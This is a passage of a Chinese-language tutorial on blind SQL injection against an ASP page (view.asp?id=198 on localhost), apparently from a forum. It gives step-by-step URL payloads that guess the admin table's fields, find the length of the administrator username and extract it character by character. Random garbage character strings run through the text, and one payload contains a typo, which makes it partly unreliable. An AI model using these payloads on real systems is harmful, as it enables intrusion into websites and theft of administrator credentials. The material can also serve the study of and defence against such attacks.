& m# ~- `$ Y1 h- r! n(5)在得到表名后开始构造查询语句查询数据库字段名,想url提交如下语句: ( `1 L% d" j# @" hhttp://127.0.0.1/111/view.asp?id=198 and exists(select user from admin) $ B( x w9 Q, R# `# f / E9 k' n( q4 C3 C: H! \这个语句是向数据库中admin表中查询师傅存在user字段,存在的话返回正常页面,附则反之" |4 s+ z" J% ?+ i2 |1 {8 ]
" z) n1 r: r4 n(6)接下来确定字段id值,语句: ) b7 p' `, e I, Y) {* N* `! Xhttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where id=1)+ ~$ s+ }$ N2 H7 i/ k; I7 S( J/ z
1 s+ C, U& N( [$ k
6 V5 ]. w5 T- ]& x+ f正确返回正常页面 不存在的话返回出错页面 a' O/ F- C& g( M1 A+ |% [( W- v$ J2 F6 P/ K) @
9 c& Z" ~" i5 C: o2 g8 m3 x
(7)在表名和字段名猜测出来以后,我们开始向url提交查询语句 猜测管理员账号的长度 ; q; s( b' J6 p: k" f% w: }; k, Ohttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(ueer),<6 and id=1) s5 ]" n& ?4 c4 x# u) x& Y/ u; ^. x$ d/ ^5 O0 `& y
这个语句是查询user字段中用户名长度的范围,表示长度小于6 同样的正确返回正常页面,错误的话返回出错页面4 ]& M& w A8 L' y
缩小范围,然后构造下面的语句确定用户名的具体长度: 8 ?* f6 b5 ^! q1 A" [http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1)4 ?" }8 @4 a+ i& Z4 b8 Z$ b; X
2 I6 R9 m( o' c, v% t' d' z
这里也是正确返回正常页面 错误返回出错页面( c1 [9 f$ v7 Q& P5 K- z) ]
- V# {" r4 k( ]
(8)最后我们开始进入最后的环节查询管理员用户名,像url提交构造的查询语句: 5 k/ W# g; H7 D5 P' g7 _6 ]' \http://127.0.0.1/111/view.asp?id=198 and exists(select count(*)from admin where left(user,1)='a')* \' U) _* s+ A) B- [
* Q0 z- R4 z9 O/ W5 ^3 b; a/ r" N这个语句是从用户名左边开始猜测用户名第一位为a,正确就会返回正常页面,错误返回出错页面,一位一位的猜,到第二位的时候修改语句为(user,2)='ad' 后面依次类推。9 M0 |, I# f4 H# r# V
5 r. D: W* P/ Y, o% }/ X' i
这样当我们得到了用户名密码以后,此次的注入也就接近尾声了!!!!! + l* G1 h% `& ^' p" @$ ~+ l5 p) ^# t0 N# R' |* z+ {0 x9 d3 T
1 r4 M) Y2 c; o9 N# W2 j9 d% R+ }# j" v